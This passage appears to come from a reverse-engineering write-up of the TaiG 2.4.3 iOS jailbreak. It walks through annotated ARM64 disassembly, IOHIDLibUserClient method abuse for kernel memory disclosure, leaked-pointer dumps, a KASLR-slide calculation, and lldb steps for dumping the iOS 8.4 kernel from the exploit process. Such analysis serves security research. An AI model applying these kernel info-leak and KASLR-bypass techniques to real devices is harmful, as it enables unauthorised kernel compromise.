b5000128 CBNZ X8, 0x10000e388 ; 0x10000e388 10000e368 aa1303e0 *MOV X0, X19 10000e36c d10103bf SUB X31, X29, #64 10000e370 a9447bfd LDP X29, X30, [SP,#64] 10000e374 a9434ff4 LDP X20, X19, [SP,#48] 10000e378 a94257f6 LDP X22, X21, [SP,#32] 10000e37c a9415ff8 LDP X24, X23, [SP,#16] 10000e380 a8c567fa LDP X26, X25, [SP],#80 10000e384 d65f03c0 RET 10000e388 94002ad9 BL libSystem.B.dylib::___stack_chk_fail ; ; 0x100018eec

The thread function, _more_IO_Fun, looks like this:

_more_IOHID_fun:
   10000eefc      a9bc5ff8        STP    X24, X23, [SP,#-64]!
   10000ef00    a90157f6        STP    X22, X21, [SP,#16]
   10000ef04    a9024ff4        STP    X20, X19, [SP,#32]
   10000ef08    a9037bfd        STP    X29, X30, [SP,#48]
   10000ef0c    9100c3fd        ADD    X29, SP, #48;        ; R29 = SP + 0x30
   10000ef10    d11043ff        SUB    X31, X31, #1040
   10000ef14    aa0003f3        *MOV   X19, X0
   10000ef18    d503201f        NOP    
   10000ef1c    580688b5        LDR    X21, #13381; ; R21 = *0x10001c030libSystem.B.dylib::___stack_chk_guard
   10000ef20    f94002a8        LDR    X8, [X21, #0]; ; R8 = *(R21(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 
   10000ef24    f81c83a8        STUR   X8, X29, #-56 ;      ; *((0x100000cfeedfaff) + 0x0) *0x100000cfeedfaff = X8 0x3f3f3f3f
   10000ef28    f9400276        LDR    X22, [X19, #0]; ; R22 = *(R19(0x100000cfeedfaf7) + 0x0) = *(0x100000cfeedfaf7) 
   10000ef2c    910103f4        ADD    X20, SP, #64;        ; R20 = SP + 0x40
   10000ef30    b27a0ff7        ORR    X23, XZR, #0x3c0;      ; ->R23 = 0x0 
   10000ef34    b27a0fe1        ORR    X1, XZR, #0x3c0;       ; ->R1 = 0x0 
   10000ef38    aa1403e0        *MOV   X0, X20
   10000ef3c    940027f8        BL     libSystem.B.dylib::_bzero ; ; 0x100018f1c
//
// Method 15 is getElements //
10000ef40 f90017f7 STR X23, [SP, #40] ; ? 10000ef44 b90027ff STR WZR, [SP, #36] ; ? 10000ef48 f9000fff STR XZR, [SP, #24] ; ? 10000ef4c a9037fff STP XZR, XZR, [SP,#48] 10000ef50 b94006c0 LDR W0, [X22, #4]; ..??? 10000ef54 9100a3e8 ADD X8, SP, #40; ; R8 = SP + 0x28 10000ef58 910063e2 ADD X2, SP, #24; ; R2 = SP + 0x18 10000ef5c 910093e7 ADD X7, SP, #36; ; R7 = SP + 0x24 10000ef60 32000fe1 ORR W1, WZR, #0xf; ; ->R1 = 0xf 10000ef64 320003e3 ORR W3, WZR, #0x1; ; ->R3 = 0x1 10000ef68 a90023f4 STP X20, X8, [SP,#0] 10000ef6c d2800004 MOVZ X4, #0; ; ->R4 = 0x0 10000ef70 d2800005 MOVZ X5, #0; ; ->R5 = 0x0 10000ef74 d2800006 MOVZ X6, #0; ; ->R6 = 0x0 10000ef78 9400275c BL IOKit::_IOConnectCallMethod ; ; 0x100018ce8 ; R0 = IOKit::_IOConnectCallMethod((mach port),15,0x100000cfeedfae7,1,NULL,0,NULL,0x100000cfeedfaf3,72057649854544631,? - 209494); ; 10000ef7c 35000600 CBNZ X0, 0x10000f03c ; 0x10000f03c 10000ef80 f94017e9 LDR X9, [X31, #40]; R9 = *(SP + 0x28)? 10000ef84 f101813f CMP X9, #96 10000ef88 540002a3 B.CC 0x10000efdc ; 0x10000efdc 10000ef8c d2800008 MOVZ X8, #0; ; ->R8 = 0x0 10000ef90 b201f3ea ORR X10, XZR, #0xaaaaaaaa; ; ->R10 = 0xaaaaaaaa 10000ef94 f295556a MOVK X10, #43691; ; R10 += aaab =.. 0xaaab5555 10000ef98 9bca7d29 2DO 10000ef9c d346fd29 LSL X9, X9, #63 10000efa0 9101028a ADD X10, X20, #64; ; ..R10 = R20 (0x100000cfeedfb0f) + 0x40 = 0x100000cfeedfb4f 10000efa4 b940014b LDR W11, [X10, #0]; ; R11 = *(R10(0x100000cfeedfb4f) + 0x0) = *(0x100000cfeedfb4f) 10000efa8 7100097f CMP W11, #2 10000efac 54000081 B.NE 0x10000efbc ; 0x10000efbc 10000efb0 b85c014b LDUR X11, X10, #-64 ; ; *((0x100000cfeedfb4f) + 0x0) *0x100000cfeedfb4f = X11 0x3f3f3f3f 10000efb4 f9001feb STR X11, [SP, #56] ; ? 10000efb8 14000005 B 0x10000efcc ; 0x10000efcc 10000efbc 7100057f CMP W11, #1 10000efc0 54000061 B.NE 0x10000efcc ; 0x10000efcc 10000efc4 b85c014b LDUR X11, X10, #-64 ; ; *((0x100000cfeedfb4f) + 0x0) *0x100000cfeedfb4f = X11 0x3f3f3f3f 10000efc8 f9001beb STR X11, [SP, #48] ; ? 10000efcc 91000508 ADD X8, X8, #1; ; ..R8 = R8 (0x0) + 0x1 = 0x1 10000efd0 9101814a ADD X10, X10, #96; ; ..R10 = R10 (0x100000cfeedfb4f) + 0x60 = 0x100000cfeedfbaf 10000efd4 eb09011f CMP X8, X9 10000efd8 54fffe63 B.CC 0x10000efa4 ; 0x10000efa4 10000efdc b9400a68 LDR W8, [X19, #8]; ; R8 = *(R19(0x100000cfeedfaf7) + 0x8) = *(0x100000cfeedfaff) => 0x100000cfeedfacf 10000efe0 34000208 CBZ X8, 0x10000f020 ; 0x10000f020 10000efe4 97fffb32 BL _returns_global+0x180 ("IOPMrootDomain") ; ; 0x10000dcac 10000efe8 97ffe66d BL _opens_IOService ; ; 0x10000899c 10000efec b81c03a0 STUR X0, X29, #-64 ; ; *((0x100000cfeedfaff) + 0x0) *0x100000cfeedfaff = X0 (?) 10000eff0 b9400a68 LDR W8, [X19, #8]; ; R8 = *(R19(0x100000cfeedfaf7) + 0x8) = *(0x100000cfeedfaff) => 0x100000cfeedfacf 10000eff4 b81c43a8 STUR X8, X29, #-60 ; ; *((0x100000cfeedfaff) + 0x0) *0x100000cfeedfaff = X8 (?) 10000eff8 b24003f4 ORR X20, XZR, #0x1; ; ->R20 = 0x1 10000effc d10103b7 SUB X23, X29, #64 10000f000 14000002 B 0x10000f008 ; 0x10000f008 10000f004 d1000694 SUB X20, X20, #1 10000f008 b8747ae0 LDR W0, [X23, X20 ...] 10000f00c 94002779 BL IOKit::_IOServiceClose ; ; 0x100018df0 10000f010 b8347aff STR X31, [X23, xX20] ..; ; *((0x0) + 0x0) *0x0 = X31 (?) 10000f014 7100069f CMP W20, #1 10000f018 54ffff6a B.GE 0x10000f004 ; 0x10000f004 //
// Scalar method 10 is _updateElementValues //
10000f01c b9000a7f STR WZR, [X19, #8]; ; *((0x100000cfeedfaf7) + 0x8) *0x100000cfeedfaff = X31 (?) 10000f020 b94006c0 LDR W0, [X22, #4]; ..??? 10000f024 9100c3e2 ADD X2, SP, #48; ; R2 = SP + 0x30 10000f028 910093e5 ADD X5, SP, #36; ; R5 = SP + 0x24 10000f02c 52800141 MOVZ W1, #10; ; ->R1 = 0xa 10000f030 321f03e3 ORR W3, WZR, #0x2; ; ->R3 = 0x2 10000f034 d2800004 MOVZ X4, #0; ; ->R4 = 0x0 10000f038 9400272f BL IOKit::_IOConnectCallScalarMethod ; ; 0x100018cf4 ; R0 = IOKit::_IOConnectCallScalarMethod((mach port),10,0x100000cfeedfaff,2,NULL,0x100000cfeedfaf3); ; 10000f03c f94002a8 LDR X8, [X21, #0]; ; R8 = *(R21(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000f040 f85c83a9 LDUR X9, X29, #-56 ; ; *((0x100000cfeedfaff) + 0x0) *0x100000cfeedfaff = X9 (?) 10000f044 cb090108 SUB X8, X8, X9 10000f048 b50000e8 CBNZ X8, 0x10000f064 ; 0x10000f064 10000f04c d100c3bf SUB X31, X29, #48 10000f050 a9437bfd LDP X29, X30, [SP,#48] 10000f054 a9424ff4 LDP X20, X19, [SP,#32] 10000f058 a94157f6 LDP X22, X21, [SP,#16] 10000f05c a8c45ff8 LDP X24, X23, [SP],#64 10000f060 d65f03c0 RET 10000f064 940027a2 BL libSystem.B.dylib::___stack_chk_fail ; ; 0x100018eec

The function calls two methods of IOHIDLibUserClient - #15 and #10. Looking at the source, we find these are:

enum IOHIDLibUserClientCommandCodes {
        kIOHIDLibUserClientDeviceIsValid,
        kIOHIDLibUserClientOpen,
        kIOHIDLibUserClientClose,
        kIOHIDLibUserClientCreateQueue,
        kIOHIDLibUserClientDisposeQueue,
        kIOHIDLibUserClientAddElementToQueue,
        kIOHIDLibUserClientRemoveElementFromQueue,
        kIOHIDLibUserClientQueueHasElement,
        kIOHIDLibUserClientStartQueue,
        kIOHIDLibUserClientStopQueue,
        kIOHIDLibUserClientUpdateElementValues, /* 10 */
        kIOHIDLibUserClientPostElementValues, 
        kIOHIDLibUserClientGetReport,
        kIOHIDLibUserClientSetReport,
        kIOHIDLibUserClientGetElementCount,
        kIOHIDLibUserClientGetElements,         /* 15 */
        kIOHIDLibUserClientSetQueueAsyncPort,
        kIOHIDLibUserClientNumCommands
};

So, we have calls to GetElements followed by calls to UpdateElementValues - and we can mess with the elements in any way we see fit - We crafted the report descriptor, and we control the elements. From there, the road is short to arbitrary kernel memory disclosure*. We try the attack up to 10 times, and allow 9 x 2 seconds in each. We also call method #3 of the IOHIDUserClient (PostReportResult) in between. In practice, this succeeds on the first or second try. When it does, we can return to the exploit main (#123) and receive a mach message from the port using #46, which is the counterpart of #47 - where the latter was send only, this is receive only.

when 46 returns its buffer holds:

(lldb) mem read 0x16fd83f98
0x16fd83f98: 00 11 00 80 5c 00 00 00 00 00 00 00 03 72 0a 00  ....\........r..
0x16fd83fa8: 00 00 00 00 00 00 00 00 04 00 00 00 00 00 35 00  ..............5.
0x16fd83fb8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 c0 34 00  ..............4.
0x16fd83fc8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 80 34 00  ..............4.
0x16fd83fd8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 40 34 00  .............@4.
0x16fd83fe8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 00 00 00  ................
0x16fd83ff8: 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x16fd84008: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Then the call to memcpy obtains kernel memory:

(lldb) mem read $x1
0x1003c41a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00  p...............
0x1003c41b8: 60 8a 2e 90 80 ff ff ff 00 18 2f 90 80 ff ff ff  `........./.....
0x1003c41c8: 80 18 2f 90 80 ff ff ff c0 d9 2e 90 80 ff ff ff  ../.............
0x1003c41d8: 00 20 58 8d 80 ff ff ff a1 50 00 00 00 00 00 00  . X......P......
0x1003c41e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c41f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4208: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4218: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4228: 00 00 00 00 00 00 00 00 50 8a 2e 90 80 ff ff ff  ........P.......
0x1003c4238: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4248: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4258: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4268: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4278: 00 00 00 00 00 00 00 00 00 20 58 8d 80 ff ff ff  ......... X.....
0x1003c4288: a0 98 2f 8e 80 ff ff ff c0 ce 05 8e 80 ff ff ff  ../.............
0x1003c4298: 00 ab 05 8e 80 ff ff ff ef be ad de ef be ad de  ................
0x1003c42a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00  p...............
0x1003c42b8: 90 8a 2e 90 80 ff ff ff 80 19 2f 90 80 ff ff ff  ........../.....
0x1003c42c8: 00 1a 2f 90 80 ff ff ff 40 da 2e 90 80 ff ff ff  ../.....@.......
0x1003c42d8: 00 20 58 8d 80 ff ff ff 9f 50 00 00 00 00 00 00  . X......P......
0x1003c42e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c42f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4308: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4318: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4328: 00 00 00 00 00 00 00 00 80 8a 2e 90 80 ff ff ff  ................
0x1003c4338: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4348: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4358: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4368: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4378: 00 00 00 00 00 00 00 00 00 20 58 8d 80 ff ff ff  ......... X.....
0x1003c4388: a0 98 2f 8e 80 ff ff ff 80 36 07 8e 80 ff ff ff  ../......6......
0x1003c4398: 00 9b 09 8e 80 ff ff ff ef be ad de ef be ad de  ................
0x1003c43a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00  p...............
0x1003c43b8: c0 8a 2e 90 80 ff ff ff 00 1b 2f 90 80 ff ff ff  ........../.....
0x1003c43c8: 80 1b 2f 90 80 ff ff ff c0 da 2e 90 80 ff ff ff  ../.............
0x1003c43d8: 00 20 58 8d 80 ff ff ff 9d 50 00 00 00 00 00 00  . X......P......
0x1003c43e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c43f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4408: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4418: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4428: 00 00 00 00 00 00 00 00 b0 8a 2e 90 80 ff ff ff  ................
0x1003c4438: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4448: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4458: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4468: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4478: 00 00 00 00 00 00 00 00 00 20 58 8d 80 ff ff ff  ......... X.....
0x1003c4488: a0 98 2f 8e 80 ff ff ff 00 ce 27 8e 80 ff ff ff  ../.......'.....
0x1003c4498: 00 db 26 8e 80 ff ff ff ef be ad de ef be ad de  ..&.............
0x1003c44a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00  p...............
0x1003c44b8: f0 8a 2e 90 80 ff ff ff 80 1c 2f 90 80 ff ff ff  ........../.....
0x1003c44c8: 00 1d 2f 90 80 ff ff ff 40 db 2e 90 80 ff ff ff  ../.....@.......
0x1003c44d8: 00 20 58 8d 80 ff ff ff 9b 50 00 00 00 00 00 00  . X......P......
0x1003c44e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c44f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4508: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4518: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x1003c4528: 00 00 00 00 00 00 00 00 e0 8a 2e 90 80 ff ff ff  ................
0x1003c4538: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Notice the nice structure, with the chunks (ef be ad de ef be ad de) exactly 0x100 apart. But we don't need all this memory - The first value (in our case - 0xffffff800beaeb70 is sufficient to figure out KASLR by using Function 141, as explained previously. If you do the math in this case, you'll see the kernel has been slid to 0xffffff800ba02000



Do It Yourself! Your Own ARM64 kernel dump!

After we've defeated ASLR, we can focus our attention on getting kernel memory, using function #122. If your device restarted by now and/or you want to pick up exactly at this point, setting a breakpoint on 122, to get:

(lldb) bt
* thread #1: tid = 0x0996, 0x000000010006e38c taig.2.4.3`___lldb_unnamed_function122$$taig.2.4.3, queue = 'com.apple.main-thread', stop reason = breakpoint 8.1
  * frame #0: 0x000000010006e38c taig.2.4.3`___lldb_unnamed_function122$$taig.2.4.3
    frame #1: 0x000000010006cbfc taig.2.4.3`___lldb_unnamed_function88$$taig.2.4.3 + 80
    frame #2: 0x000000010006e958 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1420
    frame #3: 0x000000010006bd74 taig.2.4.3`___lldb_unnamed_function80$$taig.2.4.3 + 336
    frame #4: 0x0000000194566a08 libdyld.dylib`start + 4

in other words, 80 (entry point) calls exploit (123) which calls _mess_with_kernel_mem(88) which calls 122. 88 does this for a reason:

_mess_with_kernel_mem(88):
   10000cbac      a9bd57f6        STP    X22, X21, [SP,#-48]!
   10000cbb0    a9014ff4        STP    X20, X19, [SP,#16]
   10000cbb4    a9027bfd        STP    X29, X30, [SP,#32]
   10000cbb8    910083fd        ADD    X29, SP, #32;        ; R29 = SP + 0x20
   10000cbbc    aa0003f3        *MOV   X19, X0
   10000cbc0    f9402268        LDR    X8, [X19, #64]; ..???
   10000cbc4    b50002a8        CBNZ   X8, 0x10000cc18  ; 0x10000cc18
   10000cbc8    94000b8f        BL     _get_kernel_last   ; ; 0x10000fa04
   10000cbcc    aa0003f4        *MOV   X20, X0
   10000cbd0    94000b85        BL     _get_kernel_base   ; ; 0x10000f9e4
   10000cbd4    cb000294        SUB    X20, X20, X0
   10000cbd8    aa1403e0        *MOV   X0, X20
   10000cbdc    94003142        BL     libSystem.B.dylib::_malloc       ; ; 0x1000190e4
   10000cbe0    aa0003f5        *MOV   X21, X0
   10000cbe4    94000b80        BL     _get_kernel_base   ; ; 0x10000f9e4
fetch_kernel_memory:
//
// (sp, malloced_memory,kernel_base, kernel_size) //
10000cbe8 aa0003e2 *MOV X2, X0 10000cbec aa1303e0 *MOV X0, X19 10000cbf0 aa1503e1 *MOV X1, X21 10000cbf4 aa1403e3 *MOV X3, X20 10000cbf8 940005e5 BL _calls_gets_kernel_memory(122) ; ; 0x10000e38c 10000cbfc 7100001f CMP W0, #0 10000cc00 5400016b B.LT 0x10000cc2c ; 0x10000cc2c 10000cc04 a9045275 STP X21, X20, [X19,#64] 10000cc08 91028260 ADD X0, X19, #160; ; ..R0 = R19 (0x0) + 0xa0 = 0xa0 10000cc0c aa1503e1 *MOV X1, X21 10000cc10 aa1403e2 *MOV X2, X20 10000cc14 97fffdb1 BL _calls_kernel_patchers(83) ; ; 0x10000c2d8 10000cc18 52800000 MOVZ W0, #0; ; ->R0 = 0x0 out: 10000cc1c a9427bfd LDP X29, X30, [SP,#32] 10000cc20 a9414ff4 LDP X20, X19, [SP,#16] 10000cc24 a8c357f6 LDP X22, X21, [SP],#48 10000cc28 d65f03c0 RET 10000cc2c b4000075 CBZ X21, 0x10000cc38 ; 0x10000cc38 10000cc30 aa1503e0 *MOV X0, X21 10000cc34 940030e1 BL libSystem.B.dylib::_free ; ; 0x100018fb8 10000cc38 12800000 MOVN X0, #0; ; ->R0 = 0xffffffffffffffff 10000cc3c 17fffff8 B out ; 0x10000cc1c

That is, it gets the kernel memory with the intent of running patches on it.

To get memory, #122 calls #120, which actually works very similarly to #124 (implying a cut/paste, perhaps?), with the only real difference being a call to IOConnectTrap1 which doesn't get invoked normally. The actual point the memory is obtained is at 10000e1e8, and here's a cool trick you can do:

# Breakpoint  - at the kernel memory reader
(lldb) b taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3
Breakpoint 1: where = taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3, address = 0x000000010000e01c
# The usual breakpoint to get TaiG to rejailbreak
(lldb) b task_for_pid
Breakpoint 2: no locations (pending).
WARNING:  Unable to resolve breakpoint to any actual locations.(lldb) r
Process 287 launched: '/taig/taig.2.4.3' (arm64)
Process 287 stopped
* thread #1: tid = 0x099e, 0x0000000195a84e94 libsystem_kernel.dylib`task_for_pid, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
    frame #0: 0x0000000195a84e94 libsystem_kernel.dylib`task_for_pid
libsystem_kernel.dylib`task_for_pid:
-> 0x195a84e94:  movn   x16, #44
   0x195a84e98:  svc    #128
   0x195a84e9c:  ret

# Usual workaround:
(lldb) reg write pc 0x195a84e9c
(lldb) c
...
..
..
Process 287 resuming
Process 287 stopped
* thread #1: tid = 0x099e, 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
    frame #0: 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460
taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460:
-> 0x1000ba1e8:  mov    x0, x20
   0x1000ba1ec:  mov    x1, x22
   0x1000ba1f0:  mov    x2, x19
   0x1000ba1f4:  bl     0x1000c50fc               ; symbol stub for: memcpy
# Set breakpoint at 0x1000e1e8 (accommodating slide)
(lldb) b 0x1000ba1e8
Breakpoint 3: where = taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460, address = 0x00000001000ba1e8
(lldb) c
Process 287 resuming
Process 287 stopped
* thread #1: tid = 0x099e, 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
    frame #0: 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460
taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460:
-> 0x1000ba1e8:  mov    x0, x20
   0x1000ba1ec:  mov    x1, x22
   0x1000ba1f0:  mov    x2, x19
   0x1000ba1f4:  bl     0x1000c50fc               ; symbol stub for: memcpy
(lldb) reg read x20 x22 x19
     x20 = 0x0000000100310000  # Empty (copy to here)
     x22 = 0x00000001016c4000  # Surprise!
     x19 = 0x00000000013a5000  # a lot of bytes here

# Lookie here :-)
(lldb) mem read $x22
0x1016c4000: cf fa ed fe 0c 00 00 01 00 00 00 00 02 00 00 00  ................
0x1016c4010: 0f 00 00 00 f0 0a 00 00 01 00 20 00 00 00 00 00  .......... .....
0x1016c4020: 19 00 00 00 38 01 00 00 5f 5f 54 45 58 54 00 00  ....8...__TEXT..
0x1016c4030: 00 00 00 00 00 00 00 00 00 20 20 0a 80 ff ff ff  .........  .....
# Make your own kernel dump
(lldb) mem read -b $x22 -r -c 0x00000000013a5000 -o /tmp/dump
20598784 bytes written to '/tmp/dump'

And if you get that dump.. examine it with Jtool and see:

Phontifex:~ root# jtool -l /tmp/dump 
LC 00: LC_SEGMENT_64          Mem: 0xffffff800a202000-0xffffff800a696000	__TEXT
	Mem: 0xffffff800a203000-0xffffff800a637634		__TEXT.__text	(Normal)
	Mem: 0xffffff800a637640-0xffffff800a65d738		__TEXT.__const	
	Mem: 0xffffff800a65d738-0xffffff800a695b10		__TEXT.__cstring	(C-String Literals)
LC 01: LC_SEGMENT_64          Mem: 0xffffff800a696000-0xffffff800a750000	__DATA
	Mem: 0xffffff800a696000-0xffffff800a696208		__DATA.__mod_init_func	(Module Init Function Ptrs)
	Mem: 0xffffff800a696208-0xffffff800a696408		__DATA.__mod_term_func	(Module Termination Function Ptrs)
	Mem: 0xffffff800a698000-0xffffff800a6b5650		__DATA.__const	
	Mem: 0xffffff800a6b8000-0xffffff800a6e54d8		__DATA.__data	
	Mem: 0xffffff800a6e54d8-0xffffff800a6e7188		__DATA.__sysctl_set	
	Mem: 0xffffff800a6e8000-0xffffff800a74d620		__DATA.__bss	(Zero Fill)
	Mem: 0xffffff800a74e000-0xffffff800a74f118		__DATA.__common	(Zero Fill)
LC 02: LC_SEGMENT_64          Mem: 0xffffff800a750000-0xffffff800a752000	__KLD
	Mem: 0xffffff800a750000-0xffffff800a751250		__KLD.__text	(Normal)
	Mem: 0xffffff800a751250-0xffffff800a751958		__KLD.__cstring	(C-String Literals)
	Mem: 0xffffff800a751958-0xffffff800a7519c0		__KLD.__const	
	Mem: 0xffffff800a7519c0-0xffffff800a7519c8		__KLD.__mod_init_func	(Module Init Function Ptrs)
	Mem: 0xffffff800a7519c8-0xffffff800a7519d0		__KLD.__mod_term_func	(Module Termination Function Ptrs)
	Mem: 0xffffff800a7519d0-0xffffff800a7519d1		__KLD.__bss	(Zero Fill)
LC 03: LC_SEGMENT_64          Mem: 0xffffff800a752000-0xffffff800a753000	__LAST
	Mem: 0xffffff800a752000-0xffffff800a752008		__LAST.__mod_init_func	(Module Init Function Ptrs)
	Mem: 0xffffff800a752008-0xffffff800a752008		__LAST.__last	(Zero Fill)
LC 04: LC_SEGMENT_64          Mem: 0xffffff800a7ab000-0xffffff800b521000	__PRELINK_TEXT
	Mem: 0xffffff800a7ab000-0xffffff800b521000		__PRELINK_TEXT.__text	
LC 05: LC_SEGMENT_64          Mem: 0xffffff800a753000-0xffffff800a753000	__PRELINK_STATE
	Mem: 0xffffff800a753000-0xffffff800a753000		__PRELINK_STATE.__kernel	
	Mem: 0xffffff800a753000-0xffffff800a753000		__PRELINK_STATE.__kexts	
LC 06: LC_SEGMENT_64          Mem: 0xffffff800b521000-0xffffff800b5a7000	__PRELINK_INFO
	Mem: 0xffffff800b521000-0xffffff800b5a67b7		__PRELINK_INFO.__info	
LC 07: LC_SEGMENT_64          Mem: 0xffffff800a753000-0xffffff800a7aab70	__LINKEDIT
LC 08: LC_SYMTAB             
	Symbol table is at offset 0x511e38 (5316152), 4267 entries
	String table is at offset 0x5228e8 (5384424), 127624 bytes
LC 09: LC_DYSYMTAB           	   No local symbols
	 4267 external symbols at index  0
	   No undefined symbols
	   No TOC
	   No modtab
	   No Indirect symbols

LC 10: LC_UUID               	UUID: 5682267E-8E60-3FB0-8F71-C58CE2DBCF4D
LC 11: LC_VERSION_MIN_IPHONEOS	Minimum iOS  version:    8.4.0
LC 12: LC_SOURCE_VERSION     	Source Version:          2784.30.7.0.0
LC 13: LC_UNIXTHREAD         	Entry Point:             0xffffff80020df058
LC 14: LC_FUNCTION_STARTS    	Offset: 5300104, Size: 16048 (0x50df88-0x511e38) with 0 functions

You can now figure out the mystery address used to leak KASLR:

Disassembling from file offset 0xacb70, Address 0xffffff800a2aeb70  to next symbol
ffffff800a2aeb70        LDR    W8, [X19, #52]..??
ffffff800a2aeb74        ORR    W8, W8, #0x20000
ffffff800a2aeb78        STR    W8, [X19, #52]; *((0x0) + 0x34) *0x34 = X8 0x3f3f3f3f
ffffff800a2aeb7c        ADRP   x8, 1157; ->R8 = 0xffffff800a733000 
ffffff800a2aeb80        ADD    X8, X8, #1744; ..R8 = R8 (0xffffff800a733000) + 0x6d0 = 0xffffff800a7
336d0 
ffffff800a2aeb84        LDR    W9, [X8, #1800]; R9 = *(R8(0xffffff800a7336d0) + 0x708) = *(0xffffff8
00a733dd8) 
ffffff800a2aeb88        ADD    W9, W9, #1; ..R9 = R9 (0x3f3f3f3f) + 0x1 = 0x3f3f3f40 
ffffff800a2aeb8c        STR    W9, [X8, #1800]; *((0xffffff800a7336d0) + 0x708) *0xffffff800a733dd8 = X9 0x3f3f3f40
ffffff800a2aeb90        LDR    W9, [X8, #1640]; R9 = *(R8(0xffffff800a7336d0) + 0x668) = *(0xffffff800a733d38) 
ffffff800a2aeb94        ADD    W9, W9, #1; ..R9 = R9 (0x3f3f3f3f) + 0x1 = 0x3f3f3f40 
ffffff800a2aeb98        STR    W9, [X8, #1640]; *((0xffffff800a7336d0) + 0x668) *0xffffff800a733d38 = X9 0x3f3f3f40
ffffff800a2aeb9c        SUB    X31, X29, #48
ffffff800a2aeb9c        SUB    X31, X29, #48
ffffff800a2aeba0        LDP    X29, X30, [SP,#48]
ffffff800a2aeba4        LDP    X20, X19, [SP,#32]
ffffff800a2aeba8        LDP    X22, X21, [SP,#16]
ffffff800a2aebac        LDP    X24, X23, [SP],#64
ffffff800a2aebb0        RET   
# Note this function
ffffff800a2aebb4        STR    XZR, [SP, #0]; *(SP + 0x0) = X31 0x0
ffffff800a2aebb8        ADRP   x8, 958; ->R8 = 0xffffff800a66c000 "moryCursor"
ffffff800a2aebbc        ADD    X8, X8, #1410; ..R8 = R8 (0xffffff800a66c000) + 0x582 = 0xffffff800a66c582 ""Invalid queue element %p""
ffffff800a2aebc0        MOV    X0, X8
ffffff800a2aebc4        BL     0xffffff800a22247c       ; 0xffffff800a22247c
ffffff800a2aebc8        B      0xffffff800a2ae928       ; 0xffffff800a2ae928
# Look for that string in the sources... and...
Zephyr:xnu-2782.1.97 morpheus$ find . -type f | xargs grep "Invalid queue element %p"
./osfmk/kern/queue.h:		panic("Invalid queue element %p", elt);

That 0xffffff800a22247c is panic, which has never failed to provide a ton of symbolication hints :-). The panic is coming from the __QUEUE_ELT_VALIDATE macro. You can figure out the rest.

Kernel patching, etc

Kernel patches are handled by function #83, called shortly after #122 in mess_with_kernel_mem(88). The patches are handled thus:

_calls_kernel_patchers(83):
//
// kernel patchers are called with (kernel base, kernel_mem_copied_to_user, kernel_size, //
